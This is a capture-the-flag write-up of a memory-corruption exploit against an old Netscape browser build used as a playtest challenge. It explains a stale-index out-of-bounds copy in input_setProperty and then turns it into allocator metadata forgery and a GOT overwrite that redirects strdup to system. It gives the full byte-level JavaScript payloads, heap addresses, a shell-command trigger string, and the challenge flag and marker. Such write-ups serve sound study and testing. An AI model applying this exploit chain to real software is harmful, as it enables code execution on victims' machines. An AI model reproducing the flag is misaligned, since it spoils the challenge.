Working exploit: manual-work/exploit67_inline.html
Local playtest flag: flag{0ld3r_bu7_n0t_w1s3r}
The current challenge bug is not the old stale-zero bug from OLD_WRITEUP.md. The live bug is an out-of-bounds 12-byte copy in input_setProperty: if a stale Option object from a <select> is assigned back into the same <select> after the select has been shrunk, Netscape copies optionData[stale_index] out of the current options array without checking that stale_index is still in bounds.
I used that copy to corrupt two live option.value pointers, turned later option.value = ... assignments into controlled frees in NSPR prmalloc, forged a 32-byte pginfo on a full allocator page, made the allocator hand me a chunk at the GOT, overwrote strdup@GOT with system@plt, and finally triggered:
/usr/local/bin/dispense_flag;/bin/falseThe final exploit is in manual-work/exploit67_inline.html.
The relevant code is in decompiled/ns407-linux/export/netscape__7462edd0/decomp/085c6c58_input_setProperty.c.
When a value assigned to select[index] is already an attached Option from the same select, input_setProperty takes the stale Option.index and blindly copies one 12-byte option slot from the live selectData->options array:
iVar8 = piVar4[2] * 0xc;
*(undefined4 *)(iVar11 + local_20 * 0xc) = *(undefined4 *)(iVar11 + iVar8);
*(undefined4 *)(iVar11 + 4 + local_20 * 0xc) = *(undefined4 *)(iVar11 + 4 + iVar8);
uVar5 = *(undefined4 *)(iVar11 + 8 + iVar8);
*(undefined4 *)(iVar11 + 8 + local_20 * 0xc) = uVar5;My best-effort reconstruction of the original C for this path, using the 5.0-era lib/libmocha/lm_input.c only as a loose control-flow reference, is roughly:
/*
* Approximate reconstruction of the relevant select[index] = option path.
* This is not exact source.
*/
optionData = (lo_FormElementOptionData *)selectData->options;
if (slot > old_option_cnt) {
XP_BZERO(&optionData[old_option_cnt],
(slot - old_option_cnt) * sizeof(*optionData));
}
if (option->data) {
XP_MEMCPY(&optionData[slot], option->data,
sizeof(lo_FormElementOptionData));
} else if ((uint32)slot != option->index) {
/* missing in the challenge build: option->index < selectData->option_cnt */
XP_MEMCPY(&optionData[slot], &optionData[option->index],
sizeof(lo_FormElementOptionData));
}
JS_SetParent(cx, JSVAL_TO_OBJECT(*vp), obj);
option->index = (uint32)slot;
option->indexInForm = form_element->element_index;
if (option->data) {
JS_free(cx, option->data);
option->data = NULL;
}That matches the broad shape of the 5.0 source, but with one crucial behavior difference in this challenge build: shrinking select.length no longer makes truncated options "stand alone" by copying their slot into option->data. The stale Option object keeps option->data == NULL and retains its old option->index, so writing it back into the same select falls into the live-array copy case above and trusts a now-stale index.
Here:
piVar4[2]is the staleOption.indexiVar11is the currentselectData->options- each
lo_FormElementOptionDataslot is0xcbytes
There is no bounds check on piVar4[2].
So the primitive is:
- Keep references to two attached
Optionobjects. - Shrink the select so those indices are no longer valid.
- Reassign those stale
Optionobjects back into the select. - Netscape copies 12-byte chunks from attacker-chosen out-of-bounds offsets relative to the current
optionsarray.
The 12-byte slot layout is the usual Netscape option data shape:
struct lo_FormElementOptionData {
char *text_value;
char *value;
unsigned char def_selected;
unsigned char selected;
/* padding / neighboring bytes */
};The value pointer is the interesting field.
option.value = ... eventually calls lm_SaveParamString() at decompiled/ns407-linux/export/netscape__7462edd0/decomp/085c6008_lm_SaveParamString.c:
if (*param_2 != 0) {
free((void *)*param_2);
}
pcVar1 = strdup(param_3);
*param_2 = (int)pcVar1;That gives exactly the primitive needed for allocator work:
free(corrupted_pointer)- followed by
strdup(controlled_string)
So if I can corrupt an option.value pointer, the next value assignment becomes a controlled free plus a controlled allocation.
The exploit shape from the old writeup still applies, but the exact indices changed in this challenge build.
The final working first stage does this:
- Create 13 options.
- Keep
stale0 = s[6]andstale1 = s[7]. - Shrink with
s.length = 1. - Allocate a 31-byte timeout string.
- Reinsert
stale0andstale1.
The working timeout body is 31 bytes long:
payload = String.fromCharCode(
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x00, 0x00, 0x00, 0x00, 0x1f, 0xd0, 0xa3, 0x08, 0x01, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x3f, 0xd0, 0xa3, 0x08, 0x01, 0x01, 0x00
);
hold[0] = setTimeout(payload, 60000);Why this shape works:
31 + 1 == 32, so the timeout string copy lands in the 32-byte bucket.- In the successful layout, the live one-element
optionsarray sat at0x08d07f80. - The timeout string copies sat at
0x08d07fc0and0x08d08020. options[6]is read from0x08d07f80 + 6 * 12 = 0x08d07fc8, which ispayload + 8.options[7]is read from0x08d07f80 + 7 * 12 = 0x08d07fd4, which ispayload + 20.
So the first 8 bytes are just padding, then the payload packs two synthetic option slots:
- slot 0:
value = 0x08a3d01f - slot 1:
value = 0x08a3d03f
The exploit leaves text_value as NULL because it never needs to read it.
The page I wanted was 0x08a3d000, a full page in the 32-byte allocator bucket.
After the stale copy:
s[0] = stale0;
s[1] = stale1;the live option slots have:
s[0].valuepointing at0x08a3d01fs[1].valuepointing at0x08a3d03f
Then:
s[0].value = long64;frees chunk 0 on that page.
long64 is 59 B characters, so strdup() allocates 60 bytes including the terminator, which goes to the 64-byte bucket. That is important: it means the replacement allocation does not immediately consume the freshly freed 32-byte chunk.
Writing the forged pginfo bytes through option.value = ... does not work reliably in this build. The setter path goes through lm_StrToLocalEncoding, and bytes like 0x9f get mangled.
The workaround is to use raw timeout strings for the allocator metadata writes. The internal timeout-string copy preserves the raw bytes I need.
That is why the final exploit constructs two raw strings before the first free:
fakepggot31
and then uses setTimeout() to make their 8-bit copies allocate from the target bucket.
The fake metadata string is:
fakepg = String.fromCharCode(
0x41, 0x41, 0x41, 0x41,
0x44, 0x5e, 0x9f, 0x08,
0x20, 0x20, 0x05
);After s[0].value = long64 frees chunk 0, the next crucial step is:
hold[5] = setTimeout(fakepg, 60000);This places the fake metadata in chunk 0 at 0x08a3d000.
The key field is the forged page pointer:
page = 0x089f5e44
That means a later 32-byte allocation from chunk 1 of the forged page will return:
0x089f5e44 + 0x20 = 0x089f5e64
which is exactly the GOT window I wanted.
Two reliability details mattered here:
fakepghad to be constructed before the first free. If I built it after freeing chunk 0, the JS string object itself could steal the freed 32-byte chunk.- I had to avoid any other post-free 32-byte allocations. Even a debugging beacon after the first free was enough to clobber the forged page.
Once chunk 0 contains the fake pginfo, I free chunk 1 on the same page:
s[1].value = long64;That makes free_bytes() treat the page as a newly non-full bucket-5 page and insert it into page_dir[5].
At that point the next 32-byte allocation comes from the forged metadata instead of the real page description.
The second raw timeout string is the 31-byte GOT payload:
got31 = String.fromCharCode(
0xa4, 0xf9, 0x11, 0x40,
0xf8, 0x26, 0x1b, 0x08,
0x48, 0x64, 0x0a, 0x40,
0xd4, 0x1f, 0x0a, 0x40,
0x0c, 0x5d, 0x0b, 0x40,
0x6e, 0x36, 0x1b, 0x08,
0x7e, 0x36, 0x1b, 0x08,
0x48, 0xa8, 0x13
);
hold[6] = setTimeout(got31, 60000);Because it is again 31 bytes long, the timeout copy is a 32-byte allocation. Thanks to the forged pginfo, that allocation lands at 0x089f5e64.
The important effect is:
strdup@GOTbecomessystem@plt(0x081b26f8)
The neighboring GOT entries are preserved well enough for the browser to survive through the trigger. The final terminating NUL does zero the high byte of the next entry, but that turned out to be stable enough for this challenge.
The final line is:
s[0].value = "/usr/local/bin/dispense_flag;/bin/false";That reaches lm_SaveParamString(), which now effectively does:
system("/usr/local/bin/dispense_flag;/bin/false");The ;/bin/false suffix matters. lm_SaveParamString() expects a non-null return from strdup(). When that call is hijacked to system(), I want the shell status to be non-zero rather than zero, so the caller keeps going long enough for the helper to write the broker marker file.
The final exploit successfully produced the broker marker:
6a380285bf0c834a6bae0a6f9958a9a3
flag{0ld3r_bu7_n0t_w1s3r}
The stock local broker on http://127.0.0.1:8080 did not actually reach the submitted page during playtesting because Netscape was sitting behind its license dialog.
The exploit itself is valid, but local verification required:
- seeding the Netscape license preference
- sending a synthetic Return keypress to dismiss the dialog
Once that was done, the exploit worked as described above.